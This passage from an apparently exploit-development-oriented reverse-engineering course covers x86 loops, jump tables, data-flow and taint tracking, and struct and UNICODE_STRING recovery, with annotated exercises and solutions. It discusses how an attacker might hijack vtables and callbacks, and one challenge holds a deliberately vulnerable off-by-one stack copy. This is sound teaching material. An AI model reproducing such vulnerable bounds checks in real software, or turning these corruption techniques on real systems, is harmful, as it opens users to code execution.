rotated/shifted to distribute bit influence. EDI is loaded from the second argument but never used in the loop body – it is either dead code, a compiler artifact from register allocation, or used by caller code that was not shown. The function returns a hash of the input buffer.

5.9.4 Challenge 1 solution

This is the classic `strlen` scan idiom using `repne scasb`: set AL to zero, set ECX to `0xFFFFFFFF` as the maximum scan count, scan for the NUL byte through memory at EDI, then invert/decrement ECX to produce the length. `scasb` advances EDI and decrements ECX; it does not update EAX with the count. The hidden programmer assumption is that the string is NUL-terminated in readable memory. An exploit developer cares because missing terminators can turn a scan into an out-of-bounds read before any write occurs.

5.9.5 Challenge 2 solution

The function zeros count bytes starting at the buffer pointer. It splits the work into two phases for performance: `rep stosd` zeros count / 4 dwords (the bulk), then `rep stosb` zeros count % 4 remaining bytes (the tail). The `shr ecx, 2` divides by 4 for dword count, and `and ecx, 3` extracts the remainder for byte count.

This is how MSVC implements `memset(buf, 0, count)` in some optimization levels. The key insight: `rep stosd` is faster than `rep stosb` for aligned bulk operations. For exploit analysis, the total bytes written is still count – the split is an optimization, not a different operation.

5.10 Key takeaways

- Classify every loop by type: counted (ECX countdown), sentinel (scan for a value), bounded sentinel (both count and sentinel), or traversal (linked list / pointer chain). The type determines the termination guarantee.
- `rep movsb/movsd` is a hardware-accelerated loop. The exploit question is always: can ECX (the count) exceed the destination capacity?
- `repne scasb` with `or ecx, -1` is the standard `strlen` idiom. It assumes a NUL terminator exists in readable memory – without one, it reads out of bounds.
- The loop body reveals the operation class: add accumulates, xor/shl hashes, cmp searches, mov copies. Identify the operation before analyzing bounds.
- Watch for pointer-bumping loops (`add esi, 4`) as an alternative to indexed access (`[esi+ecx*4]`). Both access the same data; the bump pattern is common in optimized builds.

5.11 See also

- [x86-osd-assembly-reference/06-core-instruction-reference.md](#) – REP prefix, MOVS, STOS, SCAS, CMPS semantics
- [x86-osd-assembly-reference/10-branches-and-control-flow.md](#) – loop lowering patterns

- [osed-reversing-guide/05-loops-and-iteration.md](#) – loop recovery methodology
 - [DRILLS/function_analysis.md](#) – loop analysis practice
-

Chapter 6

6. Switches, Jump Tables, Tail Calls, and Thunks

6.1 Learning objectives

- Recognize switch lowering and jump tables.
- Distinguish dispatcher logic from handler logic.
- Identify tail calls and import thunks.
- Treat indirect branches as control-flow data flow.

6.2 Concept discussion

Dispatch code often exists to route work, not to perform the work. A reverse engineer should avoid spending too long inside scaffolding once the dispatch key, range check, and targets are understood.

Switch statements can lower into:

- Compare chains for sparse cases.
- Jump tables for dense cases.
- Lookup tables plus indirect calls.
- Tail calls when the wrapper simply forwards control.

The CPU is answering: “Given this key, which code address should execute next?”

6.3 Common compiler patterns

- `cmp eax, max; ja default; jmp dword ptr [table+eax*4]`: dense switch.
- `jmp _ImportedFunction`: import thunk.
- `call dword ptr [ecx+offset]`: callback, method, or function pointer field.
- `jmp target` at function end: tail call.
- `mov ecx, this; call dword ptr [eax+N]`: virtual function call pattern.

6.4 Fully annotated example

```
sub_401500:
    mov     eax, [esp+8]
    cmp     eax, 2
    ja      default
    jmp     dword ptr ds:off_402000[eax*4]
case0:
    jmp     handle_ping
case1:
    jmp     handle_echo
case2:
    jmp     handle_copy
default:
    mov     eax, 0FFFFFFFFh
    retn
```

Annotated:

```
mov eax, [esp+8]
; Dispatch key, likely opcode or enum.

cmp eax, 2 / ja default
; Unsigned range check: only 0, 1, 2 are valid table indexes.

jmp [table+eax*4]
; Indirect branch through a dword table of code addresses.

jmp handle_*
; Tail jump to handler. The dispatcher does not return through these
↪ blocks.
```

The programmer likely wrote a switch over an opcode. The compiler assumes the range check protects the table access. The reverse engineer should now analyze the handlers, not overfit the dispatcher.

6.5 Reverse engineering thought process

Recover dispatch in this order:

1. Identify the dispatch key.
2. Identify the valid range.
3. Enumerate targets.
4. Determine whether targets are calls or tail jumps.
5. Walk the target that receives attacker-controlled data.

6.6 Common mistakes

- Treating jump-table data as code.
- Missing the unsigned range check that protects the table.
- Thinking a tail call returns to the dispatcher.
- Assuming indirect call means virtual function without checking object shape.

6.6.1 Linked list traversal

Windows internal structures frequently use linked lists (doubly-linked LIST_ENTRY structures). The traversal pattern appears as a loop that follows pointers rather than incrementing an index:

```

    mov     esi, [start]           ; head of list
traverse:
    cmp     esi, [start]           ; back to head? (circular list)
    jz      short done
    ; process node at ESI
    mov     eax, [esi+8]           ; read a field from the node
    ; ... use eax ...
    mov     esi, [esi]             ; follow Flink (next pointer at offset 0)
    jmp     short traverse
done:

```

This pattern is critical in PEB walking (chapter 14), where shellcode traverses InMemoryOrderModuleList to find loaded DLLs. The key identifier: the loop advances by dereferencing the current pointer (mov esi, [esi]) instead of adding a fixed stride.

6.6.2 Register preservation across calls

When analyzing dispatch code, know which registers survive function calls:

```

Callee-saved (preserved):  EBX, ESI, EDI, EBP
Caller-saved (clobbered):  EAX, ECX, EDX

```

If a function loads a dispatch key into EAX, calls a helper, then uses EAX afterward, the value in EAX is the helper's return value – not the original dispatch key. But if the key was loaded into ESI before the call, ESI still holds the key afterward.

This matters for exploit analysis: when a pointer is stored in a caller-saved register and survives a call, either the callee happens not to clobber it (unreliable) or the compiler knows the callee's register usage (link-time optimization). Do not assume survival without evidence.

6.7 Exercises

6.7.1 Exercise 1

```

sub_401560:
    mov     ecx, [esp+4]

```

```
mov     eax, [ecx]
push    [esp+8]
call    dword ptr [eax+0Ch]
retn
```

Questions:

- What is the likely role of [ecx]?
- What is at [eax+0Ch]?
- Which value controls the indirect call target?

6.7.2 Exercise 2

```
sub_401580:
    mov     eax, [esp+4]
    sub     eax, 10h
    cmp     eax, 4
    ja      short default_case
    jmp     dword ptr ds:table_402100[eax*4]
case_10:
    push    [esp+8]
    call    handler_A
    add     esp, 4
    retn
case_11:
    push    [esp+8]
    call    handler_B
    add     esp, 4
    retn
default_case:
    xor     eax, eax
    retn
```

Questions:

- What range of input values does this switch handle?
- Why does the code subtract 0x10 before the range check?
- Which handler is called for input value 0x12?

6.7.3 Exercise 3

```
sub_4015C0:
    push    esi
    mov     esi, [esp+8]
next:
    test    esi, esi
    jz      short done
```

```

    push    esi
    call    process_node
    add     esp, 4
    mov     esi, [esi+4]
    jmp     short next
done:
    pop     esi
    retn

```

Questions:

- What data structure is being traversed?
- What determines the end of traversal?
- What field at each node is the “next” pointer?

6.8 Challenge problems

6.8.1 Challenge 1

```

j__send:
    jmp     dword ptr ds:__imp__send

```

Explain why this function may appear in cross-references and why spending time inside it is usually wasted.

6.8.2 Challenge 2

```

sub_401600:
    mov     eax, [esp+4]
    cmp     eax, 5
    ja      short default
    movzx   eax, byte ptr [compact_table+eax]
    jmp     dword ptr [handler_table+eax*4]
default:
    xor     eax, eax
    retn

```

This uses a two-level dispatch: a compact byte table maps case values to handler indices, then a handler table maps indices to addresses. Why would a compiler use two tables instead of one?

6.9 Solutions with reasoning

6.9.1 Exercise 1 solution

ECX is a pointer to an object-like structure. [ecx] loads a table pointer, commonly a vtable. [eax+0x0C] is the fourth function slot. The call target is controlled by the table pointer stored

at the object base. An exploit developer asks whether ECX or [ecx] can be corrupted before this call. The snippet pushes one outgoing argument and then returns without `add esp, 4`, so the indirect callee must use a callee-cleaned convention for that argument. In real thiscall code, also check whether ECX is meant to remain the object pointer at the call site.

Plausible pseudocode:

```
obj->vtable->slot3(arg);
```

6.9.2 Exercise 2 solution

The input is subtracted by 0x10 before the range check. `cmp eax, 4; ja` limits the adjusted value to 0-4, meaning the original input handles values 0x10 through 0x14. The subtraction normalizes a sparse range to a zero-based dense range suitable for a jump table. For input 0x12: $0x12 - 0x10 = 2$, so the third entry in `table_402100` is used. Looking at the code layout, `case_10` handles index 0 (input 0x10) and `case_11` handles index 1 (input 0x11). Index 2 (input 0x12) would be a third table entry not shown in the snippet.

6.9.3 Exercise 3 solution

This is a singly-linked list traversal. The “next” pointer is at offset +4 in each node (`mov esi, [esi+4]`). Traversal ends when a node’s next pointer is NULL (`test esi, esi; jz done`). Each node is passed to `process_node`. The programmer wrote a simple linked-list walker. An exploit developer asks whether an attacker can corrupt a node’s next pointer to redirect traversal to a controlled memory region.

6.9.4 Challenge 1 solution

This is an import thunk. It exists so local code can branch to a stable stub that jumps through the Import Address Table entry for `send`. It contributes API boundary information, not domain logic. The important question is who calls `send`, with which socket, buffer pointer, length, and flags.

6.9.5 Challenge 2 solution

A two-level dispatch handles sparse case values efficiently. If a switch has cases 0, 1, 5 that all go to handler A and cases 2, 3, 4 that go to handler B, a single jump table needs 6 entries (one per case value), each pointing to the correct handler. The two-level approach uses 6 bytes in the compact table (mapping case $\rightarrow$ handler index) plus only 2 dwords in the handler table. For switches with many case values that map to few unique handlers, this saves space. The compact table also enables range validation with a single `cmp/ja` before a byte-sized lookup, which is cheaper than a sparse compare chain.

6.10 Key takeaways

- Switches lower into compare chains (sparse cases) or jump tables (dense cases). The range check before a jump table (`cmp/ja`) is the safety gate that prevents out-of-bounds table reads.

- Subtraction before a range check normalizes a non-zero-based range for jump table indexing. Reverse the subtraction to recover the original case values.
- Tail calls (`jmp target` at function end) transfer control without adding a stack frame. The callee returns directly to the original caller.
- Import thunks (`jmp [IAT_entry]`) are API boundary markers. Do not analyze the thunk itself – follow callers to find argument setup.
- Indirect calls through object pointers (`call [reg+offset]`) are exploit-relevant because corrupting the object or its vtable controls the call target.
- Linked list traversal (`mov reg, [reg]` or `mov reg, [reg+offset]`) is common in Windows internals. The same pattern appears in PEB walking.

6.11 See also

- [x86-osed-assembly-reference/10-branches-and-control-flow.md](#) – switch lowering, jump tables, indirect branches
 - [x86-osed-assembly-reference/13-call-indirect-and-control-flow-hijacking.md](#) – indirect call exploitation
 - [osed-reversing-guide/06-dispatch-and-switches.md](#) – command dispatcher reversing
 - [DRILLS/function_analysis.md](#) – dispatch analysis practice
-

Chapter 7

7. Data Flow: Pointers, Aliases, Stack, Heap, and Globals

7.1 Learning objectives

- Track value origin and destination through registers and memory.
- Recognize pointer propagation and aliases.
- Distinguish stack, heap, global, and imported storage.
- Identify when two names may refer to the same memory.

7.2 Concept discussion

Data flow is the spine of reverse engineering. Control flow tells you which path runs. Data flow tells you what that path means.

A pointer copied from EAX to ESI to [ebp-4] is still the same pointer unless an instruction changes it. A buffer passed into memcpy becomes important because the write destination and count define risk. A global read can be configuration, state, a function table, or a security-sensitive flag.

Reverse engineers care less about variable names than about provenance:

- user input
- parsed input
- validated input
- trusted configuration
- heap allocation
- local stack temporary
- global process state
- imported function pointer

7.3 Common compiler patterns

- `mov esi, [ebp+8]`: keep argument pointer in callee-saved register.

- `mov [ebp-4], eax`: spill a temporary or preserve a value across a call.
- `call _malloc; test eax,eax`: heap allocation and null check.
- `mov eax, ds:g_config`: global read.
- `mov [ecx+offset], eax`: structure field write through pointer.

7.4 Fully annotated example

```

sub_401600:
    push    ebp
    mov     ebp, esp
    push    esi
    mov     esi, [ebp+8]
    push    [ebp+0Ch]
    call    _malloc
    add     esp, 4
    test    eax, eax
    jz      fail
    mov     [esi+8], eax
    mov     ecx, [ebp+0Ch]
    mov     [esi+0Ch], ecx
    xor     eax, eax
    pop     esi
    pop     ebp
    retn

fail:
    mov     eax, 0FFFFFFFFh
    pop     esi
    pop     ebp
    retn

```

Annotated:

```

mov esi, [ebp+8]
; First argument is a destination object pointer.

push [ebp+0Ch] / call _malloc
; Allocate size from second argument.

test eax,eax / jz fail
; Allocation failure check.

mov [esi+8], eax
; Store heap pointer into object field +8.

mov ecx, [ebp+0Ch]
mov [esi+0Ch], ecx
; Store size into object field +0x0C.

```

The function initializes two fields: buffer pointer and buffer size. The programmer assumes the object pointer is valid. The compiler assumes the size argument is already suitable for `malloc`; no range check appears here.

7.5 Reverse engineering thought process

Build a provenance table:

Value	Origin	Destination	Meaning
[ebp+8]	caller	ESI, stores at offsets	object pointer
[ebp+0Ch]	caller	malloc, [object+0Ch]	allocation size
EAX after malloc	heap allocator	[object+8]	heap buffer

Then ask exploit questions: Can size be huge? Can object be fake? Is there later copying into [object+8] using [object+0Ch]?

7.6 Common mistakes

- Losing track of aliases after a pointer is copied.
- Assuming stack memory is safe and heap memory is unsafe; storage class is not trust.
- Treating globals as constants without checking writes.
- Ignoring size fields stored next to pointers.

7.6.1 Taint tracking for exploit analysis

In exploit-oriented reversing, data flow becomes **taint tracking**: which values originate from attacker-controlled input?

Mark values as tainted when they come from: - `recv`, `ReadFile`, `fread` return buffers - Command-line arguments, environment variables - Registry values, file contents, network data - Any parsed field derived from tainted input

Taint propagates through: - Register copies (`mov eax, tainted_reg`) - Arithmetic (`add eax, tainted_reg` – result is tainted) - Memory stores (`mov [ptr], tainted_reg` – memory location is tainted) - Function arguments (`push tainted_reg; call func` – callee receives taint)

Taint is killed by: - Overwrite with a constant (`mov eax, 0`) - Overwrite with a trusted value (`mov eax, [trusted_global]`) - Validation that constrains the value to a safe range

The exploit question is always: can tainted data reach a security-sensitive operation (copy count, write destination, function pointer, return address) without passing through a correct validation gate?

7.7 Exercises

7.7.1 Exercise 1

```
sub_401650:
    mov     eax, [esp+4]
    mov     ecx, ds:g_table
    mov     edx, [eax+4]
    mov     [ecx+edx*4], eax
    xor     eax, eax
    retn
```

Questions:

- What data flows into the global table?
- Which field controls the index?
- What trust questions follow?

7.7.2 Exercise 2

```
sub_401690:
    push    ebp
    mov     ebp, esp
    push    esi
    mov     esi, [ebp+8]
    push    100h
    call    _malloc
    add     esp, 4
    test    eax, eax
    jz      short fail
    mov     [esi+0Ch], eax
    mov     dword ptr [esi+10h], 100h
    push    [esi+10h]
    push    [ebp+0Ch]
    push    eax
    call    _memcpy
    add     esp, 0Ch
    xor     eax, eax
    pop     esi
    pop     ebp
    retn

fail:
    mov     eax, 0FFFFFFFFh
    pop     esi
    pop     ebp
    retn
```

Questions:

- What is the provenance of the memcpy destination?
- What is the provenance of the memcpy source?
- Is this copy safe? What determines safety?
- Build a provenance table for all values.

7.7.3 Exercise 3

```
sub_4016D0:
    mov     eax, [esp+4]
    mov     ecx, [eax]
    mov     edx, [ecx+4]
    mov     [eax+8], edx
    mov     ecx, [eax]
    mov     ecx, [ecx]
    mov     [eax], ecx
    retn
```

Questions:

- How many levels of indirection does this function follow?
- What does the function appear to do? (Hint: think linked list.)
- Draw the pointer relationships before and after the function runs.

7.8 Challenge problems

7.8.1 Challenge 1

```
sub_401680:
    mov     eax, [esp+4]
    mov     ecx, [eax+8]
    push    ecx
    call    _free
    add     esp, 4
    mov     dword ptr [eax+8], 0
    retn
```

Find the aliasing bug in the analyst's reasoning, not necessarily in the program.

7.8.2 Challenge 2

```
sub_4016F0:
    push    esi
    mov     esi, [esp+8]
    mov     eax, ds:g_callback
    test    eax, eax
    jz      short no_cb
```

```

    push    esi
    call    eax
    add     esp, 4
no_cb:
    mov     eax, [esi+4]
    mov     ds:g_last_result, eax
    pop     esi
    retn

```

Two global variables are used. One controls an indirect call. The other receives data. If an attacker can write to the process's data section, which global is more dangerous and why?

7.9 Solutions with reasoning

7.9.1 Exercise 1 solution

The first argument pointer is stored into a global table. The index comes from the dword field at offset +4 inside that object. If the object or field is attacker-controlled, this may become an out-of-bounds global write or pointer registration primitive.

Plausible pseudocode:

```
g_table[obj->id] = obj;
```

7.9.2 Exercise 2 solution

Provenance table:

Value	Origin	Destination	Meaning
[ebp+8]	caller	ESI	object pointer
[ebp+0Ch]	caller	memcpy source	source buffer
EAX (malloc)	heap allocator	[esi+0Ch]	heap buffer
0x100	constant	[esi+10h], memcpy count	capacity and copy count

The memcpy destination is a freshly allocated 256-byte heap buffer. The source is the caller's second argument. The count is hardcoded at 0x100, matching the allocation. The copy is safe in isolation: count == capacity. However, if the source buffer ([ebp+0Ch]) contains fewer than 256 valid bytes, the copy may read past the source, and if other code later writes to [esi+0Ch] using a different count, the fixed capacity becomes a constraint.

7.9.3 Exercise 3 solution

The function follows two levels of indirection. Let `ptr = [esp+4]: - [ptr]` is a pointer to a node (call it node). `- [node+4]` is a data field copied to `[ptr+8]`. `- [node]` (the Flink/next pointer) replaces `[ptr]`.

This is a linked list dequeue operation: it removes the head node, saves a field from it, and advances the head pointer. Before: `ptr -> node -> next`. After: `ptr -> next`, and `ptr+8` holds `node->field_4`.

7.9.4 Challenge 1 solution

After `_free`, `EAX` is caller-saved and cannot be assumed to still hold the original object pointer. The final `mov [eax+8], 0` is suspicious because the compiler would normally preserve the object pointer across a call if it needed it. Either the snippet is hand-written/incorrectly lifted, there was an unshown preservation instruction, or the compiler inlined `_free` in a link-time optimized build and the inlined body happens not to clobber `EAX`. The last case is real but dangerous to rely on: observed behavior is not the same as an ABI guarantee. The reverse engineering lesson: do not assume caller-saved registers survive calls, even when a particular build appears to preserve them.

7.9.5 Challenge 2 solution

`g_callback` is far more dangerous. It controls an indirect call (`call eax`), so overwriting it gives arbitrary code execution – the attacker sets `g_callback` to a shellcode address or ROP pivot, and the next time this function runs with a non-null callback, execution jumps there.

`g_last_result` receives data but is not used for control flow in this function. Corrupting it might influence later logic, but that requires a second-order effect. Corrupting `g_callback` is a direct, single-step path to code execution.

This illustrates the taint tracking priority: global function pointers and callback addresses are higher-priority targets than global data variables.

7.10 Key takeaways

- Data flow is the spine of exploit analysis. Control flow tells you which path runs; data flow tells you whether attacker input reaches a dangerous operation.
- Build provenance tables: track where each value came from, where it goes, and what it means. Distinguish stack locals, heap allocations, globals, and imported state.
- Taint tracking is data flow with a security lens. Mark attacker-controlled values and follow them through copies, arithmetic, and function calls until they reach a security-sensitive operation or are validated.
- Pointer aliases are the primary source of analyst error. When a pointer is copied into a callee-saved register, it survives calls. When it stays in a caller-saved register (`EAX`, `ECX`, `EDX`), it may be clobbered.
- Global function pointers and callback addresses are high-priority exploit targets. Corrupting one gives direct code execution without needing to reach a return instruction.

7.11 See also

- [x86-osed-assembly-reference/03-memory-operands-and-addressing-modes.md](#) – addressing mode mechanics
 - [x86-osed-assembly-reference/09-calling-conventions-and-abi.md](#) – register preservation rules
 - [osed-reversing-guide/07-data-flow.md](#) – data flow tracing methodology
 - [osed-reversing-guide/08-aggregates-and-memory.md](#) – pointer and structure analysis
 - [DRILLS/dataflow.md](#) – data flow tracing practice drills
-

Chapter 8

8. Structures, Arrays, Strings, and Buffer Semantics

8.1 Learning objectives

- Recover structure fields from repeated offsets.
- Recognize arrays from scale factors and pointer increments.
- Distinguish string copies from raw byte copies.
- Identify length, capacity, and terminator relationships.
- Recover a full struct layout from disassembly across multiple functions.
- Recognize Windows-internal structures (UNICODE_STRING, etc.) by access pattern.
- Spot off-by-one terminator bugs – the most common OSED buffer overflow class.

8.2 Concept discussion

Structures reveal themselves through stable offsets. Arrays reveal themselves through repeated element size. Strings reveal themselves through sentinel checks or explicit NUL writes.

The core semantic question is not “what is the C type?” It is:

- Which bytes belong together?
- Which value says how many bytes are valid?
- Which value says how many bytes fit?
- Which operation writes a terminator?
- Does the check cover all bytes written?

8.2.1 Length vs. capacity – why this distinction matters

Every stack overflow in OSED reduces to one failure: the programmer confused length with capacity, or failed to compare one against the other.

- **Length** is “how many bytes are currently valid in this buffer.”
- **Capacity** is “how many bytes can this buffer hold.”
- **Terminator cost** is the extra byte (or two, for wide strings) needed after the valid data.

A correct bounded copy looks like this:

```
if (length < capacity)    // strictly less -- leaves room for NUL
    memcpy(dst, src, length);
    dst[length] = 0;
```

A vulnerable copy uses `<=` instead of `<`:

```
if (length <= capacity)    // allows length == capacity
    memcpy(dst, src, length);
    dst[length] = 0;        // writes one byte past the buffer
```

Or omits the comparison entirely:

```
memcpy(dst, src, length);    // no check at all
```

In assembly, the distinction is a single instruction difference – `jae` (unsigned `>=`, rejecting `length >= capacity`) versus `ja` (unsigned `>`, rejecting only `length > capacity`). Miss it and you miss the bug.

8.2.2 ANSI vs. wide strings

Windows uses two string encodings everywhere:

- **ANSI (char)**: one byte per character, NUL terminated with a single `0x00`.
- **Wide (wchar_t)**: two bytes per character (UTF-16LE), NUL terminated with `0x0000` (two zero bytes).

The assembly tells you which one you are looking at:

```
; ANSI string access -- byte-sized element
movzx eax, byte ptr [ecx+edx]    ; scale factor *1 (implicit)

; Wide string access -- word-sized element
movzx eax, word ptr [ecx+edx*2]  ; scale factor *2
```

Wide strings double every size calculation. A buffer that holds 128 ANSI characters holds only 64 wide characters. Confusing byte count with character count is a classic source of overflows in Windows code.

8.3 Common compiler patterns

- `[ecx+4]`, `[ecx+8]`, `[ecx+0Ch]`: structure fields.
- `[base+index*4]`: dword array, pointer array, or table.
- `[base+index*2]`: word array or wide-character string.
- `mov byte ptr [edi+ecx], 0`: NUL terminator at index (ANSI).
- `mov word ptr [edi+ecx*2], 0`: NUL terminator at index (wide).
- `cmp ecx, [ebp+10h]; jae fail`: leaves room for a terminator when ECX is later used as `dst[len]`.
- `rep movsb` or `_memcpy`: raw count-based copy.
- `rep movsw` or `rep movsd`: word/dword-granularity copy (check element count vs byte count).

8.4 Fully annotated example

```

sub_401700:
    push    ebp
    mov     ebp, esp
    push    esi
    push    edi
    mov     esi, [ebp+8]
    mov     ecx, [esi+4]
    cmp     ecx, [ebp+10h]
    jae     fail
    mov     edi, [ebp+0Ch]
    push    ecx
    push    [esi+8]
    push    edi
    call    _memcpy
    add     esp, 0Ch
    mov     byte ptr [edi+ecx], 0
    xor     eax, eax
    pop     edi
    pop     esi
    pop     ebp
    retn

fail:
    mov     eax, 0FFFFFFFFh
    pop     edi
    pop     esi
    pop     ebp
    retn

```

Annotated:

```

mov     esi, [ebp+8]
; Record pointer.

mov     ecx, [esi+4]
; Field +4 is a length.

cmp     ecx, [ebp+10h] / jae fail
; Require length < destination capacity. Strictly less leaves room for NUL.

mov     edi, [ebp+0Ch]
; Destination pointer.

push    ecx / push [esi+8] / push edi / call _memcpy
; Copy record->data, length bytes, into destination.

mov     byte ptr [edi+ecx], 0

```

```
; Terminate string after copied bytes.
```

The programmer wrote “copy record text into a caller buffer if it fits.” The compiler exposes a three-field relationship: source record, destination pointer, destination capacity.

Stack layout at the memcpy call:

+	-----+	-----+	+
	ebp+10h	capacity (arg3)	
+	-----+	-----+	+
	ebp+0Ch	dst pointer (arg2)	
+	-----+	-----+	+
	ebp+08h	record ptr (arg1)	
+	-----+	-----+	+
	ebp+04h	return address	
+	-----+	-----+	+
	ebp	saved ebp	
+	-----+	-----+	+

Record layout (pointed to by esi):

+	-----+	-----+	+
	+0x00	(unknown)	
+	-----+	-----+	+
	+0x04	length	
+	-----+	-----+	+
	+0x08	data ptr	
+	-----+	-----+	+

8.5 Reverse engineering thought process

Do not call `[esi+4]` “size” generically. Its role is proven by use:

- Compared against capacity.
- Used as memcpy count.
- Used as terminator index.

That makes it a string length field.

8.6 Structure recovery

Structures in real binaries are not labeled. You must recover them from observation: every access through a base pointer tells you one field’s offset and width.

8.6.1 Worked example: recovering a struct from disassembly

Suppose you see these accesses across three functions, all using the same base pointer (call it ptr):

Function A (initialization):

```
mov     dword ptr [eax], 1           ; +0x00, dword write
mov     word ptr [eax+4], 0          ; +0x04, word write
mov     dword ptr [eax+8], ecx       ; +0x08, dword write (pointer from ecx)
mov     byte ptr [eax+0Ch], 0        ; +0x0C, byte write
```

Function B (processing):

```
cmp     dword ptr [esi], 2           ; +0x00, dword read (compared to
↳ constant)
jnz     skip
mov     edx, [esi+8]                 ; +0x08, dword read (used as pointer
↳ below)
movzx   ecx, byte ptr [edx]          ; dereferences +0x08 as a pointer
movzx   eax, byte ptr [esi+0Ch]      ; +0x0C, byte read
```

Function C (cleanup):

```
movzx   eax, word ptr [edi+4]        ; +0x04, word read
test    eax, eax
jz      done
push    dword ptr [edi+8]            ; +0x08, dword (passed to free --
↳ confirms pointer)
call    _free
```

Step 1: Collect all offsets and access sizes.

Offset	Size	Evidence
+0x00	dword	written as 1, compared to 2 -- looks like a type/state ↳ field
+0x04	word	written as 0, read and tested -- flag or count
+0x06	--	gap (no access) -- likely padding
+0x08	dword	written from register, dereferenced, passed to free -- ↳ pointer
+0x0C	byte	written as 0, read later -- flag or single-char field

Step 2: Determine padding from gaps.

Between +0x04 (word, 2 bytes) and +0x08 (dword), there is a 2-byte gap at +0x06. MSVC aligns dwords to 4-byte boundaries by default, so this gap is compiler padding.

Step 3: Build the struct.

```
struct recovered_t {                // Total size: 0x10 (16 bytes, with tail padding)
    DWORD type;                     // +0x00 state or type discriminator
    WORD flags;                     // +0x04 flag or reference count
    // 2 bytes padding              // +0x06
    BYTE *data;                     // +0x08 heap-allocated buffer
    BYTE status;                    // +0x0C single-byte status
    // 3 bytes padding              // +0x0D (tail padding to align struct size)
```

```
};
```

Step 4: Verify in IDA.

In IDA, you can formalize this: Structures window (Shift+F9) -> Add struct -> define each field at its offset. Once defined, apply the struct type to the base pointer and all field accesses become named.

8.6.2 Verify in WinDbg

If you have the struct base address at runtime:

```
0:000> dd <addr> L4
<addr>  00000001 00000000 0040B230 00000000

0:000> dt ntdll!_UNICODE_STRING <addr> ; for known Windows structs
```

For unknown structs, dump raw bytes and cross-reference with your offset table:

```
0:000> db <addr> L10
<addr>  01 00 00 00 00 00 00 00-30 B2 40 00 00 00 00 00
        ^dword=1 ^word=0 ^pad ^pointer ^byte=0 ^pad
```

8.7 UNICODE_STRING recognition

The UNICODE_STRING structure is everywhere in Windows internals – kernel objects, registry paths, file names, driver communication. Recognizing it on sight saves significant reversing time.

The structure definition:

```
typedef struct _UNICODE_STRING {
    USHORT Length;           // +0x00 current byte length (not including
    ↪ NUL)
    USHORT MaximumLength;    // +0x02 buffer capacity in bytes
    PWSTR Buffer;            // +0x04 pointer to wide-char data
} UNICODE_STRING;
```

In assembly, the access pattern is distinctive:

```
; Typical UNICODE_STRING read sequence
mov     cx, [eax]           ; +0x00: Length (word -- bytes, not chars)
mov     dx, [eax+2]         ; +0x02: MaximumLength (word)
mov     edi, [eax+4]        ; +0x04: Buffer pointer (dword)
```

Key observations:

- Length and MaximumLength are in **bytes**, not characters. Divide by 2 for character count.
- The Buffer is a wide string (UTF-16LE), so character access uses *2 scaling.
- MaximumLength is typically Length + 2 (room for one wide NUL).

- Many Windows API functions (RtlCopyUnicodeString, RtlInitUnicodeString, etc.) operate on this structure.

8.7.1 Verify in WinDbg

```
0:000> dt ntdll!_UNICODE_STRING <addr>
+0x000 Length          : 0x1a
+0x002 MaximumLength   : 0x1c
+0x004 Buffer           : 0x00abcdef "C:\Windows\System32"

0:000> du poi(<addr>+4)      ; dump wide string from Buffer field
00abcdef "C:\Windows\System32"
```

8.8 Common mistakes

- Missing the +1 implied by explicit terminator writes.
- Confusing source length with destination capacity.
- Assuming memcpy means unsafe. Safety depends on the count and destination.
- Treating a structure offset as a constant magic value.
- Confusing byte count with character count in wide-string operations.
- Assuming padding bytes are meaningful fields.

8.9 Exercises

8.9.1 Exercise 1: Array element access

```
sub_401760:
    mov     eax, [esp+4]
    mov     ecx, [esp+8]
    mov     edx, [eax+ecx*8+4]
    retn
```

Questions:

- What is the apparent element size?
- Is this an array of structures or an array of pointers?
- What field is being read?

8.9.2 Exercise 2: UNICODE_STRING manipulation

```
sub_4017A0:
    push    esi
    mov     esi, [esp+8]      ; arg1: UNICODE_STRING pointer?
    movzx   eax, word ptr [esi]
    movzx   ecx, word ptr [esi+2]
```

```

sub     ecx, eax
cmp     ecx, 4
jb      too_small
mov     edx, [esi+4]
shr     eax, 1
mov     word ptr [edx+eax*2], 41h    ; 'A' in UTF-16LE
mov     word ptr [edx+eax*2+2], 0    ; wide NUL
add     word ptr [esi], 2
xor     eax, eax
pop     esi
retn
too_small:
mov     eax, 0FFFFFFFFh
pop     esi
retn

```

Questions:

- Is this a UNICODE_STRING? What evidence confirms it?
- What operation does this function perform?
- Is the bounds check correct? Does it account for the wide NUL terminator?

8.9.3 Exercise 3: Wide vs. ANSI string loop

```

; Snippet A
loop_a:
movzx   eax, byte ptr [esi+ecx]
mov     [edi+ecx], al
inc     ecx
test    al, al
jnz     loop_a

; Snippet B
loop_b:
movzx   eax, word ptr [esi+ecx*2]
mov     [edi+ecx*2], ax
inc     ecx
test    ax, ax
jnz     loop_b

```

Questions:

- Which snippet handles ANSI strings and which handles wide strings?
- What is the termination condition for each?
- If the destination buffer is 256 bytes, how many characters can each loop safely copy (excluding NUL)?

8.10 Challenge problems

8.10.1 Challenge 1: Stack offset confusion

```
sub_401790:
    mov     ecx, [esp+0Ch]
    cmp     ecx, [esp+10h]
    ja      fail
    push    ecx
    push    [esp+0Ch]
    push    [esp+0Ch]
    call    _memcpy
    add     esp, 0Ch
    xor     eax, eax
    retn

fail:
    mov     eax, 0FFFFFFFFh
    retn
```

Do not trust the apparent stack offsets after pushes. Explain how you would verify the real arguments.

8.10.2 Challenge 2: Off-by-one terminator overflow

```
sub_401800:
    push    ebp
    mov     ebp, esp
    sub     esp, 100h
    mov     ecx, [ebp+0Ch]      ; length argument
    cmp     ecx, 100h
    ja      fail
    lea     edx, [ebp-100h]     ; local buffer, 256 bytes
    push    ecx
    push    [ebp+8]             ; source pointer
    push    edx
    call    _memcpy
    add     esp, 0Ch
    mov     ecx, [ebp+0Ch]
    mov     byte ptr [ebp+ecx-100h], 0 ; NUL terminate
    xor     eax, eax
    mov     esp, ebp
    pop     ebp
    retn

fail:
    mov     eax, 0FFFFFFFFh
    mov     esp, ebp
    pop     ebp
```

```
ret
```

Identify the exact vulnerability. What single byte gets overwritten and what does it overwrite? Draw the stack layout.

8.11 Solutions with reasoning

8.11.1 Exercise 1 solution

The scale `*8` indicates 8-byte elements. Reading `[base + index*8 + 4]` suggests an array of structures where field `+4` is loaded from element `index`. If it were an array of pointers, you would expect a scale of 4 followed by a second dereference.

Plausible pseudocode:

```
return records[i].field_4;
```

8.11.2 Exercise 2 solution

Yes, this is a `UNICODE_STRING`. The evidence:

- `[esi]` is read as a word (Length in bytes).
- `[esi+2]` is read as a word (MaximumLength in bytes).
- `[esi+4]` is read as a dword (Buffer pointer).
